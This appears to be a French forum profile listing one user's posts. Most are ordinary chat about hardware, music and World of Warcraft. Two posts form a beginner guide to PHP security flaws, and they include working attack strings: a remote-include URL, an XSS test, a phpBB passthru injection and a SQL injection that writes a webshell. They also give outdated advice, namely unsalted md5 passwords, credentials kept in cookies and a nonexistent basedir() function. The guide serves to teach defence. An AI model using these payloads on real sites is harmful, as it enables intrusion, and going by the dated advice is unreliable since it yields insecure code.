Jump to content

The Lootrophile

INpactien
  • Content Count

    306
  • Joined

  • Last visited

Everything posted by The Lootrophile

  1. J'ai réalisé une transaction avec Cumbas pour une somme de 92€ (FDP IN) pour l'achat de deux barretes de ram kingmax PC5300 512mo, le paiement a été effectué dans l'heure, et les produits envoyés le lendemain, livrés dans les délais. =) Un petit bémole pour l'emballage des produits qui m'a été retourné un peu abimé (boîte pas mal écrasées, me semble-t-il), mais je fais confiance à la poste pour sauter dessus consciencieusement lorsque les colis passent entre leurs mains. Bref, je recommande vivement ce vendeur. =]
  2. Coucou, J'ai fais la modification de couleur, à vous de me dire si c'est mieux ainsi, ou si je dois trouver autre chose. Le sujet n'est pas encore etoffé car je voulais le poster tant que j'avais l'antiflood desactivé (à savoir, jusqu'à avant hier soir), pour l'occasion. Il n'est donc pas bien consistant pour l'instant, mais je compte sur votre collaboration (comme ça a déjà été fait) pour le faire vivre, le faire grossir et le perfectionner, j'essaierais de faire les modifications proposées le plus rapidement possible pour garder le topic à jour. =] Pour la question posée plus haut, j'aimerais que ce thread s'adresse avant tout aux gens qui recherchent des informations ou un complément d'information à propos de la sécurité avec PHP, donc aux vrais débutants comme aux gens qui cherchent à optimiser la création de leur site. Dans tous les cas, tu as raison : Il y a un réel besoin de complément d'information, je vais m'attacher à régler ce problème le plus vite possible. =] Mais je ne suis que l'initiateur du sujet, il appartient à la communauté. Je vous invite donc à vous prononcer sur le rôle que vous souhaiteriez donner à ce thread.
  3. 3. La faille Include() (solutions) $page=preg_replace("/[^a-z0-9_ ]/i", "", $page); if(!@include("includes/$page.php")) die("Cette page n'existe pas sur le serveur, merci d'informer le webmaster du site si ce problème venait à se reproduire."); Ce mini bout de code inclu votre page en enleveant les caractères spéciaux, les "/" par exemple, et affiche un message d'erreur si votre include échoue, pourquoi est-ce efficace ? Car le piratin a obligatoirement besoin d'utiliser "/" pour taper "http://", il ne pourra donc intégrer son script, et se véra renvoyé un message d'erreur, de plus, le script oblige l'extention .php pour vos scripts, hors, rien n'est possible avec un fichier .php (enfin, pas grand chose, l'exploitation d'une faille XSS tout au plus, je developperais en dessous.)[/color] Il y a également la solution du switch, qui est plus propre et parfaitement adaptée à la situation, malheureusement, elle est un peu plus longue à mettre en place, et demande une mini-modification de votre code à chaque nouvelle page, mais votre code sera parfaitement clair. switch($page) { case "blog": include("include/blog.php"); break; case "articles": include("include/articles.php"); break; default: print'La page n'existe pas'; break; } Dans ce cas là, l'URL sera simplement du type http://www.lesite.com/index.php?page=blog
  4. Le topic des failles PHP : LE RETOUR ! EN CREATION Dans un soucis de clarté, et en accord avec la modération locale, j'ai décidé de procéder à un gros remaniement de ce sujet, afin de tenir compte de vos remarques, mais aussi de pouvoir approfondir les points qui méritent de l'être sans alourdir inutilement le sujet. Je gérerais ce topic, mais j'espère que nous pourrons le construire tous ensemble : N'ayant pas la science infuse, votre contribution (comme sur l'ancien sujet) sera très appréciée, les replys de ce sujet sont libres. Ce sujet a la prétention de regrouper les failles PHP les plus courantes et les plus dangereuses. Je m'employerais à tenir un discour accessible aux initiés comme aux débutants. Des allusions à des fonctions PHP pourront être faites, ce n'est pas le rôle de ce sujet que de vous apprendre à les utiliser, ainsi, je vous invite à vous référer à la documentation de PHP pour les termes qui ne vous poseraient problème. Contrairement à l'autre sujet, je vais utiliser des repères de couleurs différents pour démarquer les différents points à aborder pour chaque faille, vous vous y retrouverez vite. Les sujets qui auront besoin d'être explicités plus longuement le seront dans un autre post. Ces textes sont libres de droits, pour ma part, si vous souhaitez les utiliser sur votre site ou forum, merci d'indiquer la provenance, et le (ou les) auteur(s). 1. Les variables dans l'URL 2. Défauts de la redirection 3. Faille Include() 4. Failles XSS 5. Failles Cookies 6. Faille Urlencode() 7. Faille Require() 8. Trucs et astuces pour rester au sec ################################ N°1 ################################ 1. Variables a l'air, gaffe aux courrants d'air. Un script est potentiellement exploitable quand un visiteur lambda peut agir librement sur vos variables, soit quand elles passent par une URL, comme suit : http://www.site.com/admin.php?loggin=1, soit quand vos identifiants de connexion sont contenus dans votre URL (à savoir une URL qui ressemblerait à http://www.site.com/admin.php?loggin=arthur&pass=toto). A partir du moment ou une personne a accès à des informations sensibles ou qu'il peut modifier une variable dans votre URL qui peut influer sur sa simple condition de visiteur à travers votre site, vous devez vous estimer en danger. Pourquoi ? Même si cela puisse semble évident à la pluspart des codeurs, cette faille de sécurité se retrouve parfois sur le net, voir (et là c'est plus grave) dans des scripts installables sur vos sites, il faut donc veiller à ce qu'aucune variable sensible ou contrôlant l'acces à une page protégée ne se trouve dans vos URLs. Comment y remedier ? L'utilisation des sessions ou des cookies est fortement recommandée dans ce cas : Elle vous évitera d'avoir à trainer une variable "sensible" dans vos URLs, et vos connexions à vos pages protégées se feront de façon transparente, soit en faisant transiter vos identifiants de connexion entre les pages par un ID de session, soit par un fichier contenant vos identifiants installé sur votre ordinateur qui sera lu par votre site. ################################ N°2 ################################ 2. La redirection ? Pas une solution. Lorsque vous mettez à la disposition de vos membres un acces privé, ces derniers doivent se logger, une personne mal intentionnée peut tout de même accéder à vos espaces protégés si la seule protection est la redirection automatique. Quels genre de codes sont infectés ? If ($password !== "Pouletgrille") { print'<meta http-equiv="refresh" content="1; URL=?page=connexion">'; } Pourquoi ? Que va il se passer quand le piratin va rentrer un mauvais mot de passe ? Il va arriver sur votre page non protégée, et va être aussitôt redirigé vers une page d'erreur, et c'est là l'erreur : Le visiteur pourra toujours bloquer son navigateur, ou enregistrer votre page, et il vera l'intégralité de votre page "protégée", et pourra y accomplir ses méfaits. Comment y remédier ? C'est simple, il faut de toute façon que le contenu de votre espace protégé n'apparaisse jamais, JAMAIS, JAMAIS, JAMAIIIIS sur la page de vos visiteurs, même pas une micro-seconde, le moyen le plus simple de réparer ce problème est d'agir comme suit : If ($password == "Pouletgrille") { Print'Insérez ici le contenu de votre section admin'; } else { print'Erreur de connexion ! Afficher le formulaire d'identification'; } C'est une méthode basique (certainement trop.) mais elle aura le mérite de vous protéger. ################################ N°3 ################################ 3. La faille Include() Célèbre car très utilisée, la faille include permet au pirate de prendre le contrôle entier de votre site : Ajouter, supprimer ou modifié des fichiers, en voir le contenu (password, attention), ou même pire, stocker des programmes malveillants sur votre espace web, si votre code se présente dans cette configuration, inquiétez vous : <?php include("$page") ?> Pourqoi ? De cette façon, vous intégrez une page à une autre page, par exemple, via ce lien : http://www.votresite.com/index.php?page=accueil.php. Cette méthode remplit son rôle, vous avez bien le fichier demandé sur votre page, et les moutons sont bien gardés. Eh bien non ! Les moutons ne sont pas bien gardés, regardez, il y en a déjà un KO, et les autres vont bientôt se faire attaquer, comment ? Le pirate peut egalement intégrer ses pages malveillantes (comme cela : http://www.votresite.com/?page=http://www.sitedupirate.com/script.txt, et comme le PHP est un langage merveilleux, il pourra TOUT faire. Comment y remédier ? Il y a plusieurs solutions : Voici une liste des alternatives les plus courrantes ################################ N°4 ################################ 4. La faille XSS ? Ca me donne de l'herpes ! Si vous proposez à vos visiteurs un livre d'or, un forum (Premieres versions de phpBB, warning.) ou un espace où ils peuvent afficher des messages librement sur votre site, cet espace est potentiellement dangereux. Si en entrant ce code dans l'espace où les visiteurs peuvent poster un message, un pop-up s'ouvre, inquietez vous (ce test ne coûte rien à faire, mais peut se montrer très important.) : Salut ! <script>window.open("http://www.monsite.com/);</script> Pourquoi ? Vous etes victimes d'une faille XSS, mais qu'est-ce donc que cette bestiole là ? C'est l'exploitation d'un bug de sécurité permettant à vos visiteurs d'executer des scripts javascript, par exemple, que peut on faire avec ça ? Voler le contenu de vos cookies de connexion (yabon, on va pouvoir se connecter à votre forum sous votre compte, ou a votre site dans la partie administration), ouvrir de la publicité librement sur votre site, rediriger le visiteur par des pages infectées par des virus, que de bonnes choses pleines de fer et de calcium. Comment y remédier ? Il y a un grand nombre de solutions pour pallier à ce problème : Definir votre texte comme étant de l'HTML (comme ceci : $message = htmlspecialchars($message); ainsi, le code javascript ne sera pas interprété et sera écrit en html, c'est la méthode la plus simple, la plus répandue et la plus propre. ), ou empecher l'emploi de "javascript" (ainsi, aucun script javascript ne pourra etre executé), comme suit : $message=str_replace("java script:","",$message); (par exemple, le forum de PCinpact a décidé d'imposer un espace entre java et script, en plus d'imposer l'écriture des messages en html. :) ################################ N°5 ################################ 5. La faille cookies ? Que nenni ! Une faille cookies permet, dans une configuration bien spéciale, d'utiliser un cookie de connexion pour le transformer en celui de quelqu'un d'autre. Pourquoi ? Si à la connexion à la section membre, l'individu se logue avec ses identifiants, reçois donc son petit cookie (et ne le reçois que si il a rentré des identifiants correct) et voit donc son nom d'utilisateur dans son cookie, et seulement son nom d'utilisateur apparaitre, le script remplit son rôle, vos pages vérifient que le cookie existe, et utilise son nom d'utilisateur pour ses droits d'acces, mais il y a un probleme : L'utilisateur, mal intentionné peut tout de même déjouer votre sécurité, certes, il a bien utilisé des identifiants, il a donc reçu un cookie automatiquement généré, et tout ça, mais une fois qu'il a le cookie ? Il change son nom, et hop hop hop, ni une ni deux, il se retrouve avec votre nom d'utilisateur, et peut faire ce qu'il lui plait. Comment pallier à ce probleme ? En stockant le nom d'utilisateur et le mot de passe dans les cookies, ainsi, même si la personne change le nom d'utilisateur, le mot de passe ne conviendra toujours pas. La faille cookie peut souvent être couplée avec une faille XSS pour permettre de se connecter à votre espace membre, et ce, même si votre mot de passe est crypté. Il est donc recommandé de coupler votre système de sécurité avec une vérification de l'IP qui demanderait le reloging du membre en cas d'incompatibilité de l'IP en base de données et de celle qui veut se connecter. ################################ N°6 ################################ 6. La faille urldecode() dans les requetes SQL. (par Savory) Utilisé contre phpmyadmin et phpbb actuellement. Par exemple pour reprendre le code de viewtopic de phpbb : $highlight_match = $highlight = ''; if (isset($HTTP_GET_VARS['highlight'])) { // Split words and phrases $words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight'])))); for($i = 0; $i < sizeof($words); $i++) si on url encode ' en %27 puis re-urlencode en %2527 on peut injecter un ' au nez de la requete :) et donc injecter du code php. Par exemple pour reprendre celui de santy [...]highlight=%2527.passthru($rush).%2527&rush=id Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..) ################################ N°7 ################################ 7. La faille require() Au meme titre que l'include cité precedement sauf qu'elle est sensible au byte null genre %00 Si par exemple on a require("/home/web/lib/".$truc.".php"); on peut poisonner truc via cookie/post/get et lui append %00 a la fin pour enlever le ".php" c'est pour cela qu'il est absolument preconisé d'utiliser require_once et des variables statiques. Apres cela reste la sql injection qui peut mener jusqu'a une intrusion de l'os : L'exemple parlera de lui meme 1' OR 1=1 INTO OUTFILE "/var/www/htdocs/site/kikoo.php" FIELDS TERMINATED BY '<?include($p);exit;?>'/* on pourra remplacer les ' par des " et urlencoder <?include($p);exit;?> en %3C%3Finclude%28%24p%29%3Bexit%3B%3F%3E et hop on se fabrique une include a condition de connaitre le path relatif du wwwroot pouvant etre reperé en faisant bugger la page. Je vais essayer de trouver un complément d'information pour cette faille et de l'expliciter d'avantage. (ou si quelqu'un veut s'y coller..) ################################ N°8 ################################ 8. Trucs et astuces Respectez la norme Toujours utiliser <?php (et non <?) pour des raisons de portabilité et de compatibilité avec les futures versions de php. Ne laissez pas de messages d'erreur Evitez de laisser des pages en création accessibles : Vous devez être le seul à avoir acces aux messages d'erreur. ( ou utiliser error_reporting(0); ) Vérifiez l'intégrité des fichiers utilisés Utilisez toujours la fonction basedir(); pour être sur que les fichiers contenus dans les URL se trouvent dans le même répertoire (et non importés d'autres sites exotiques) Encodez tous les mots de passe Exemple de procédure : Dans la base de données, si vous avez des compte utilisateur, ne notez pas leur mots de passes "en clair": utilisez la commande md5(): $mdp_chiffre = md5($motdepasse); Pour vérifier le mot de passe d'un utilisateur, lors de sa connection par exemple, faites: $a_verifier = md5($ce_qui_a_ete_saisi); et comparez ce que vous obtenez avec ce qui est stocké dans la base de données. Ainsi, quelqu'un accédant au contenu de la table des utilisateurs n'aura pas leur mot de passe pour autant. (note: à la place de md5(), vous pouvez utiliser Mcrypt, Mhash, crypt, etc.) ########################### Pour finir, n'oubliez pas que les failles de sécurité ne sont pas obligatoirement de votre faute, elles peuvent se trouver dans les scripts pré-créés que vous installez, et elles sont d'autant plus dangereuses qu'un pirate peut connaitre le code source exact de ces scripts, vérifiez donc tout ce qui entre dans votre FTP. ;-)
  5. http://www.hihihi.fr/?page=videos&media=180 Deux abrutis qui chantent du bonnie tyler a l'envers, c'est trop fort ^^ http://www.hihihi.fr/?page=videos&media=130 Et l'indémodable jesus qui chante "i will survive"
  6. Site coproduit en cours de création et de refonte designesque : www.isb-fr.net qui propose des sondages et des debats sur des themes d'actualité =p
  7. Rhapsody - The Dark Tower Of Abyss Magnifique.
  8. Je trouve dommage de partir dans ce genre de débats plutôt stérils alors qu'il y a un réel interet à comparer les avis de différents joueurs, personne n'a les mêmes attentes que son voisin pour juger de la qualité d'un mmorpg (ou d'un rpg). Donc sans rancune, je n'ai pas envie de m'hasarder dans ce genre de débats sur ce sujet, mais tu devrais plus tempérer tes propos, et plus employer le conditionnel.
  9. Tu n'as pas dû jouer à beaucoup de RPGs dans ta vie pour avoir un avis aussi restrictif sur le sujet. Ta comparaison est extrèment superficielle, qui plus est, tu ne prends ni en compte le background (Celui de WoW tient sur 400 pages, plusieurs bouquins, aucune idée pour EQ, mais pour avoir jouer au un, ils ne se ressemblent pas du tout) ni en compte la qualité de l'adaptation Warcracraft I&II&III -> WoW, chose qui n'existe pas sur EQ, ces jeux sont très différents. Mon post a au moins le mérite d'exister et de donner un avis différent de celui des autres, excuse moi grand seigneur du MMORPG d'avoir osé dire que je trouvais des défauts à World of Warcraft, ce fut une erreur, et j'espère que tu me pardonneras un jour ma lourde faute ! A bonne entendeur. PS : Je ne crois pas, à mon humble avis, que blizzard face une démo du jeu, ils sont trop attachés à leur image de marque pour laisser des personnes qui n'ont pas acheté le jeu venir sur des serveurs payants, et risquer de voir des gens dégrader l'ambiance de leurs royaumes (du moins, risquer de le dégrader sans pouvoir réagir en invalidant le CDkey de la personne par exemple)
  10. Il n'y a quand même pas que des points négatifs, les musiques sont à chialer (l'entrée dans Stormwind est un bijoux par exemple) le système de gestion de guilde est syper sympa, sur le serveur JDR, les gens sont super gentils, et t'aident vraiment très facilement, l'univers est aussi super bien rendu, techniquement, le jeu est un chef d'oeuvre (la possibilité de faire tourner wow à fond sur ma config en est la preuve..) Si tu n'a pas regardé la vidéo d'introduction du jeu, je te la conseil, ça motiverait n'importe quel homme à tester le jeu, même la bête du gevaudan après une folle nuit d'amour avec la femme de shreck. (sisi.) PS : Tu as un MP.
  11. Encore une fois, je vais peut-être passer pour le blasé et éternel insatisfait de la troupe, mais je trouve qu'ils n'ont effectivement qu'un interet très limité, et je developpe. J'ai amené un mage jusqu'au niveau 40 (sur 60) , face aux monstres, c'est le quasi-néant : Tu clic, ton sort se charge (pas de chance, j'ai choisis feu, donc chargement de 3.5 secondes par tir, minimum) on a de la chance, le jeu est beau, donc on peut contempler pendant ce temps, m'enfin.. , parfois, quand les sorts de givre sont prets, on peut immobiliser l'enemi (si il est de ton niveau, il est immobilisé 3-4 secondes, jusqu'à ce que tu le touche), et pendant ce temps... tu relance ton sort J'ai après test un chasseur (attaque a distance et a la dague), ce qui donnait : PULL ! Un coup, deux coups a l'arc, et on sort la dague, et on attend que le monstre creve en appuyant de temps en temps sur les raccourcits claviers pour les coups spéciaux, rien de bien folichon.. J'ai testé un paladin après : Tu lance tes sorts de protection toutes les cinq minutes, tu tapes.. tu tapes.. tu tapes... TU TE SOIGNE ! tu tapes.. tapes.. (renouveller l'operation si nécessaire ) L'IA qui était parait-il si developpée est proche du vide, on nous avait annoncé des comportements différents entre les monstres en groupe, avec leur leader, etc, là il y a deux cas possibles : le monstre est seul, et il te suit si tu l'attaque, ou le monstre est en bande, et ils te suivent si tu l'attaque, attention, VARIANTE !!!!!! Certains s'enfuient quand ils ont moins de 10% de leurs PVs, et d'autres non. Le principal interet des combats, celon moi, c'est qu'ils sont necessaires pour gagner des niveaux sans etre indispensables, dans le sens où on peut très bien monter au niveau 60 sans xp pendant des heures sur les memes monsntres, juste en accomplissant des quetes, mais certaines quêtes demandent de tuer X monstres pour trouver X objets (et certains obligent parfois a passer un jour ou deux sur un respawm pour trouver l'objet convoité.. ) Je pense toutefois qu'il faut se faire sa propre idée sur wow, c'est un jeu très riche, qui mérite d'etre connu (sinon il n'y aurait pas tant de monde dessus), mais ayant joué 4 ans à un jeu pixellisé au possible, sans emote, animations, en fausse 3D, sans aucune interaction possible avec l'environnement, sans effets de caméra et qui tournait sur un PII 450 mhz, je trouve wow trop pauvre en tout (emotes, interactions, possibilités, skin..) Voila voila.
  12. @sebayrton Je l'attendais depuis 4 ans (date de son annonce par blizzard) je suis un fan de tous leurs produits, j'adore l'univers de warcraft et les mmo en général (4 ans sur T4C, 1 sur EQ et 6 moi sur néocron) mais wow ne m'aura pas gardé plus de un mois, sans doute parceque je suis un joueur trop exigent (le roleplay sur le seul serveur jdr m'a gravement déçu), je trouve le jeu trop linéaire, on jongle trop souvent avec les memes items, pas énormément d'inovations, la plupart des joueurs sont déjà blasés parcequ'ils connaissent déjà l'univers comme leur poche.. Voila voila PS : Des serveurs pirates existaient déjà pour wow au moins un an avant son ouverture en officiel, en anglais, et en français des la première semaine de béta-test de la version française du client, le jeu existe en version piratée depuis sa version alpha qui n'était jouable que hors ligne sans les monstres, mais on pouvait déjà se balader sans serveur dans tout le monde. ;-)
  13. Rhapsody - Lux Triumphans (la plus belle musique du monde )
×
×
  • Create New...